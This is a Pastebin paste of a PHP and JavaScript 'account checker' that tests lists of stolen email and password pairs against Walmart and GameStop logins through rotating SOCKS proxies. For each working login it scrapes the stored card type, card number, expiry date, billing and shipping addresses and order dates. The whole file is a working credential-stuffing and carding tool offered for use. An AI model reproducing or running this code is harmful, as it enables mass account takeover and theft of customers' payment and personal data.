Advertisement
Guest User

Walmart Account Checker Script

a guest
Jun 6th, 2018
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.53 KB | None | 0 0
  1. <?
  2. ini_set("display_errors",0);
  3. @set_time_limit(0);
  4. if(isset($_GET['check']))
  5. {
  6. function getStr($string,$start,$end){
  7. $str = explode($start,$string,2);
  8. $str = explode($end,$str[1],2);
  9. return $str[0];
  10. }
  11.  
  12. function getStr1($string,$start,$end){
  13. $str = explode($start,$string,2);
  14. $str = explode($end,$str[1],2);
  15. return $str;
  16. }
  17.  
  18.  
  19. function _curl2($url,$post="",$usecookie = false) {
  20. $ch = curl_init();
  21. if($post) {
  22. curl_setopt($ch, CURLOPT_POST ,1);
  23. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  24. }
  25. curl_setopt($ch, CURLOPT_URL, $url);
  26. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  27. curl_setopt($ch, CURLOPT_USERAGENT, "Internet Explorer 6.0 (Windows XP)");
  28. if ($usecookie) {
  29. curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  30. curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
  31. }
  32. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  33. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  34. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  35. $result=curl_exec ($ch);
  36. curl_close ($ch);
  37. return $result;
  38. }
  39. function _curl($url,$post="",$usecookie = false,$_sock = false,$timeout = false) {
  40.  
  41. $ch = curl_init();
  42. if($post) {
  43. curl_setopt($ch, CURLOPT_POST ,1);
  44. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  45. }
  46. if($timeout){
  47. curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  48. }
  49. if($_sock){
  50. curl_setopt($ch, CURLOPT_PROXY, $_sock);
  51. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  52. }
  53. curl_setopt($ch, CURLOPT_URL, $url);
  54. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  55. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
  56. if ($usecookie) {
  57. curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  58. curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
  59. }
  60. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  61. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  62. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  63. $result=curl_exec ($ch);
  64. curl_close ($ch);
  65. return $result;
  66. }
  67. function rmDomain($mail){
  68. $abc = explode("@",$mail);
  69. $mail = trim($abc[0]);
  70. return $mail;
  71. }
  72.  
  73. function R($s,$e){
  74. preg_match("/".$e."/",$s,$m);
  75. return $m[1];
  76. }
  77. function Re($s,$e){
  78. return html_entity_decode(R($s,$e));
  79. }
  80.  
  81. function inStr($s,$as){
  82. $s=strtoupper($s);
  83. if(!is_array($as)) $as=array($as);
  84. for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  85. return false;
  86. }
  87. function CheckSock($sock,$cookie,$timeout){
  88. $timeout = 4;
  89. $url = "http://google.com";
  90. $s = _curl($url,"",$cookie,$sock,$timeout);
  91. if(stristr($s,'<!doctype html><html')){
  92. return "1";
  93. }
  94. else
  95. {
  96. return "2";
  97. }
  98. }
  99.  
  100. function GameStop($mail,$pass){
  101. $_sock = $_GET['sock'];
  102. $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');
  103. $_checksocks = CheckSock($_sock, $cookie, $timeout);
  104. echo " ".$_sock." => |";
  105. // if($_checksocks=="1")
  106. {
  107. $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  108. $s = _curl($url,"",$cookie,$_sock);
  109. $VIEWSTATE = urlencode(getStr($s,'id="__VIEWSTATE" value="','" />'));
  110. $url = "https://www.gamestop.com/Profiles/Login.aspx?ReturnUrl=/";
  111. $post = "__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=$VIEWSTATE&ctl00%24ctl00%24BaseContentPlaceHolder%24cHeader%24searchtext=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24txtStoreZipCode=Enter+location&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavHomeStore%24valZipCalloutExtender_ClientState=&ctl00%24ctl00%24BaseContentPlaceHolder%24cLeftNav%24LeftNavNewsletter%24txtNewsletterSignup=Email&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24UserName=$mail&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24password=$pass&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.x=43&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24LogIn%24loginControl%24loginButton.y=16&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24emailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ComfirmEmailTextBox=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24PasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24ConfirmPasswordText=&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24chkEmailOptIn=on&ctl00%24ctl00%24BaseContentPlaceHolder%24mainContentPlaceHolder%24ContextSiteLogin%24CreateAccountHorizontal%24SlideToCreate=";
  112. $s = _curl($url,$post,$cookie,$_sock);
  113. if(inStr($s,array('<ul><li>The e-mail address and password combination entered is not in our records'))){
  114. $resuft['status'] = "<b><font color='white'>Die</b></font>";
  115. }
  116. elseif(!$s){
  117. $resuft['status'] = "Cant Check";
  118. }
  119. else{
  120. $resuft['status'] = "<b><font color='red'>Live</b></font>";
  121. $url = 'https://www.gamestop.com/Profiles/CreditCard.aspx';
  122. $s = _curl($url,'',$cookie,$_sock);
  123. if(inStr($s,array('CardType">Card Type:</span>')))
  124. {
  125. $resuft['count'] = substr_count($s, 'creditCardSummary_CreditCardViewer_CardNumber">');
  126. $resuft['type'] = getStr($s,'_CreditCardViewer_CardType">','</span>');
  127. $resuft['ccnum'] = getStr($s, 'ditCardViewer_CardNumber">','</span>');
  128. $resuft['exp'] = getStr($s,'tCardViewer_CardExpDate">','</span>');
  129. $resuft['info'] = " $resuft[count] | $resuft[type] | $resuft[ccnum] | $resuft[exp]";
  130. $url = 'https://www.gamestop.com/Profiles/AddressBook.aspx';
  131. $s = _curl($url,'',$cookie,$_sock);
  132.  
  133. $add = getStr($s,'billingAddressSummary_AddressInfoView_FullName">','id="ctl00_ctl00_BaseContentPlaceHolder_mainContentPlaceHolder_BillingAddressList_ctl00_billingAddressSummary_AddressInfoView_trCountryName">');
  134. //echo "<textarea>$s</textarea>$add";
  135. $resuft['info'] .= " | ".$add;
  136. }
  137. else
  138. {
  139. $resuft['status'] = 'No Info';
  140. }
  141. }
  142. }
  143. // else
  144. // {
  145. // $resuft['status'] = "Socks Die";
  146. // }
  147. unlink($cookie);
  148. $resuft['status'] = $resuft['status']."|".$resuft['info']."<br>";
  149. return $resuft;
  150. }
  151.  
  152.  
  153. function walmart($mail,$pass){
  154. $_sock = $_GET['sock'];
  155. $cookie = tempnam('cookie','ccv'.rand(1000000,9999999).'likeguitar.txt');
  156. $_checksocks = CheckSock($_sock, $cookie, $timeout);
  157. echo " ".$_sock." => |";
  158. //if($_checksocks=="1")
  159. {
  160. $url = "https://www.walmart.com/cservice/ya_index.gsp";
  161. $s = _curl($url,"",$cookie,$_sock);
  162. $link = getStr($s,'createAccountForm" method="POST" action="','"');
  163. $url = "https://www.walmart.com$link";
  164. $post = "userName=$mail&pwd=$pass&x=65&y=15";
  165. $s = _curl($url,$post,$cookie,$_sock);
  166.  
  167. if(inStr($s, array('The e-mail address and password you entered does not match what we have in our records','Please check your email and try again'))){
  168. $resuft['status'] = "<b><font color='white'>Die</b></font>";
  169. }
  170. elseif(!$s){
  171. $resuft['status'] = "Cant Check";
  172. }
  173. else{
  174. $resuft['status'] = "<b><font color='red'>Live</b></font>";
  175. $url = "https://www.walmart.com/cservice/cc_index.gsp";
  176. $s = _curl($url,"",$cookie,$_sock);
  177. if(inStr($s,array('<tr style="padding:10px 0">')))
  178. {
  179. $bill = getStr($s,'<td class="BodyM" style="white-space:nowrap"><div style="margin-left:10px">','</div></td>');
  180. //$balance = getStr($s,'<td class="rvh_line"><div class="col2">','</div>');
  181. $resuft['info'] = "<font color=yellow> $bill </font>|";
  182. }
  183. $url = "https://www.walmart.com/cservice/ph_order.do";
  184. $s = _curl($url,"",$cookie,$_sock);
  185. if(inStr($s,array('<tr class="yaTableRow">')))
  186. {
  187. $order = getStr($s,'<td class="yaTableCellRightLine"><span class="BodyM">','</span></td>');
  188. $resuft['info'] .= " Order Date: ".$order;
  189. }
  190. $url = "https://www.walmart.com/cservice/cc_index.gsp";
  191. $s = _curl($url,"",$cookie,$_sock);
  192. if(inStr($s,array('<tr style="background-color:#FFF">')))
  193. {
  194. $card = getStr($s,'<tr valign="middle" style="background-color:#FFF">','</td>
  195. <td class="yaTdBottomLine"><a');
  196. $resuft['info'] .= " | ".$card;
  197. }
  198. $url = "https://www.walmart.com/cservice/ab_index.do";
  199. $s = _curl($url,"",$cookie,$_sock);
  200. if(inStr($s,array('<div class="PrefHead">Preferred shipping address:</div>')))
  201. {
  202. $add = getStr($s,'<address>','</address>');
  203. $resuft['info'] .= " | ".$add;
  204. }
  205. else
  206. {
  207. $resuft['status'] = "No Payment";
  208. }
  209. //echo "<textarea>$s</textarea>$s";
  210. }
  211. }
  212. // else
  213. // {
  214. // $resuft['status'] = "Socks Die";
  215. // }
  216. unlink($cookie);
  217. $resuft['status'] = $resuft['status']."|".$resuft['info'];
  218. return $resuft;
  219. }
  220. function getHiddenFormInputs($html, $Name){
  221. if(!preg_match('|<form[^>]+'.$Name.'[^>]+>.*</form>|Usi', $html, $form)){
  222. return '';
  223. }
  224. if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)){
  225. return '';
  226. }
  227. $hiddenInputs = array();
  228. foreach($inputs[0] as $input){
  229. if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)){
  230. $hiddenInputs[$name[1]] = '';
  231. if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)){
  232. $hiddenInputs[$name[1]] = $value[1];
  233. }
  234. }
  235. }
  236. return $hiddenInputs;
  237. }
  238. function serializePostFields($postFields){
  239. foreach($postFields as $key => $value){
  240. $value = urlencode($value);
  241. $postFields[$key] = "$key=$value";
  242. }
  243. $postFields = implode($postFields, '&');
  244. return $postFields;
  245. }
  246. $mail = $_GET['email'];
  247. $pass = $_GET['password'];
  248. switch ($_GET['check'])
  249. {
  250. case "GameStop":
  251. $info1 = GameStop($mail,$pass);
  252. break;
  253. case "walmart":
  254. $info1 = walmart($mail,$pass);
  255. break;
  256. }
  257. echo $mail."|".$pass."|".$info1['status'];
  258. }
  259. else
  260. {
  261. ?><head>
  262. <script>
  263. function explodearray(item,delimiter) {
  264. temparray=new array(1);
  265. var Count=0;
  266. var tempstring=new string(item);
  267.  
  268. while (tempstring.indexOf(delimiter)>0) {
  269. temparray[Count]=tempstring.substr(0,tempstring.indexOf(delimiter));
  270. tempstring=tempstring.substr(tempstring.indexOf(delimiter)+1,tempstring.length-tempstring.indexOf(delimiter)+1);
  271. Count=Count+1
  272. }
  273.  
  274. temparray[Count]=tempstring;
  275. return temparray;
  276. }
  277. function loadXMLDoc(url,div)
  278. {
  279. var xmlhttp;
  280. if (window.XMLHttpRequest)
  281. {
  282. xmlhttp=new XMLHttpRequest();
  283. }
  284. else
  285. {
  286. xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  287. }
  288. xmlhttp.onreadystatechange=function()
  289. {
  290. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  291. {
  292. var xdata = xmlhttp.responseText;
  293. document.getElementById(div).innerHTML = xdata.split('|')[3];
  294. if((xdata.split('|')[3]) == "<b><font color='red'>Live</b></font>"){
  295. document.getElementById("result_live").innerHTML = document.getElementById("result_live").innerHTML + xdata + "\n<br>" ;
  296. document.getElementById("total").innerHTML = (eval(document.getElementById("total").innerHTML) + 1);
  297. }
  298. }
  299. }
  300. xmlhttp.open("GET",url,true);
  301. xmlhttp.send();
  302. }
  303. </script>
  304. </head>
  305.  
  306. <style>
  307. @import "http://fonts.googleapis.com/css?family=Play:400,700";
  308. body {
  309. background: #303030;
  310. line-height: 1;
  311. color: #00ff00;
  312. }
  313. textarea,input,select
  314. {
  315. padding: 3px;
  316. background:#505050;
  317. color:white;
  318. border:solid gray;
  319. }
  320. table{
  321. border-collapse:collapse;
  322. color: white;
  323. }
  324. .title{
  325. color: #00ff00;
  326. background: black;
  327. text-align: center;
  328. font-size: 120%;
  329. }
  330. .die{
  331. color: #ff0000;
  332. }
  333. .live{
  334. color: #00ff00;
  335. }
  336. .socks{
  337. color: orange;
  338. }
  339. .title2{
  340. color: #FFF;
  341. font-size: 22px;
  342. font-weight: 700;
  343. line-height: 56px;
  344. margin: 0;
  345. padding: 0 0 0 15px;
  346. text-shadow: 1px 1px 1px #FFFFFF;
  347. font-family: Play,"Arial",Helvetica,Times,serif;
  348. }
  349. </style>
  350. <head>
  351. <center><h1><div class="title2">--[ ACCOUNT CHECKER]--</div></h1>
  352. <br /><br />
  353. <script>
  354. function timsock(){
  355. var slist = window.document.f.socks.value;
  356. var kero = slist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
  357. if(kero){
  358. var list="";
  359. for(var i=0;i<kero.length;i++){
  360. if(kero[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
  361. kero[i]=kero[i].replace(/(\s)+/,':');
  362. }
  363. list=list+kero[i]+"\n";
  364. }
  365. window.document.f.socks.value=list;
  366. }
  367. else{
  368. window.document.f.socks.value="";
  369. }
  370. }
  371. </script>
  372. <form method=post action="" name=f>
  373. <textarea name=info style="width:550px; height:200px;"><? if(isset($_POST['info'])) echo $_POST['info']; else echo "mail | pass" ?></textarea> <textarea name="socks" id="socks" style="width:350px; height:200px;"/><? if(isset($_POST['socks'])) echo $_POST['socks']; else echo "" ?></textarea><br>
  374. Delim : <input type=text name=delim value="|" size=5>
  375. Mail : <input type=text name=mail value="0" size=5> Pass : <input type=text name="pass" value="1" size=5><br>
  376. <input type="radio" id="cat" name="cat" value="walmart"> Walmart <br><br>
  377. <input type=submit name=submit value=" CHECK NOW " onClick="timsock();">
  378. </form>
  379. </center>
  380.  
  381. <?
  382. if(isset($_POST['info'])){
  383. $delim = trim($_POST['delim']);
  384. $m = trim($_POST['mail']);
  385. $p = trim($_POST['pass']);
  386. $_sock = $_POST['socks'];
  387. $sock_arr = explode("\n",$_sock);
  388. global $acclist;
  389.  
  390. $mlist = $_POST['info'];
  391. $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);
  392. $mlist = str_replace("\r","",$mlist);
  393. $mlist = str_replace("\n\n","\n",$mlist);
  394. $mlist = explode("\n",$mlist);
  395.  
  396.  
  397. $STT = 0;
  398. $TOTAL = count($mlist);
  399. $plan = $_POST['cat'];
  400. ?>
  401.  
  402. <center>
  403.  
  404. CHECK ACCOUNT IN SITE: <font color="#FF0000"><? echo $plan; ?></font><br>------------------------- o0o -------------------------<br />
  405. <div id="result_live"><div id="total">0</div><br /></div><br />
  406. <table border="1">
  407. <tr>
  408. <td align="center" width="20px">Stt</td>
  409. <td align="center" width="400px">Account</td>
  410. <td align="center" width="200px">Status</td>
  411. </tr>
  412. <?
  413. for($i=0 ; $i<$TOTAL; $i++){
  414. ob_start();
  415. ?>
  416. <tr>
  417. <td align="center"><?= $id=$i+1 ?></td>
  418. <td>{mail} | {pass} | {socks}</td>
  419. <td align="center">{status}</td>
  420. </tr>
  421. <?
  422. $line = explode($delim,$mlist[$i]);
  423. $mail = trim($line[$m]);
  424.  
  425. $pass = trim($line[$p]);
  426. $sock_use = trim($sock_arr[ rand(0,(count($sock_arr) - 2)) ]);
  427. $s = ob_get_clean();
  428. $s = str_replace("{status}", "<i id='result_$id' style='color:green'>Checking...</i><script>loadXMLDoc('?check=$plan&email=$mail&password=$pass&sock=$sock_use','result_$id');</script>", $s);
  429. $s = str_replace("{mail}", $mail, $s);
  430. $s = str_replace("{pass}", $pass, $s);
  431. $s = str_replace("{socks}", $sock_use, $s);
  432. echo $s;
  433. }
  434. ?>
  435. </table>
  436. </center>
  437. <?
  438. if($acclist){
  439. foreach($acclist as $key => $value){
  440. for($i=0;$i<count($acclist[$key]);$i++){
  441. $accountlist .= str_replace(array("\r","\n"),array("",""),"acclist[\"{$key}\"][$i] = '".$acclist[$key][$i]."';")."\n";
  442. }
  443. }
  444. }
  445.  
  446. $dim = <<< HTML
  447. <script type='text/javascript'>
  448. var acclist = new Array();
  449. acclist['walmart'] = new Array();
  450. acclist['dell'] = new Array();
  451. acclist['apple'] = new Array();
  452. acclist['sony'] = new Array();
  453. acclist['saks'] = new Array();
  454. acclist['costco'] = new Array();
  455. acclist['bhphoto'] = new Array();
  456. acclist['nord'] = new Array();
  457. acclist['dream'] = new Array();
  458. </script>
  459. HTML;
  460. echo $dim;
  461. }
  462. ?> <br />
  463. <br />
  464.  
  465.  
  466. </body>
  467.  
  468. </html>
  469. <center>
  470. </center>
  471. </div>
  472. </div>
  473. <?
  474. }
  475. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement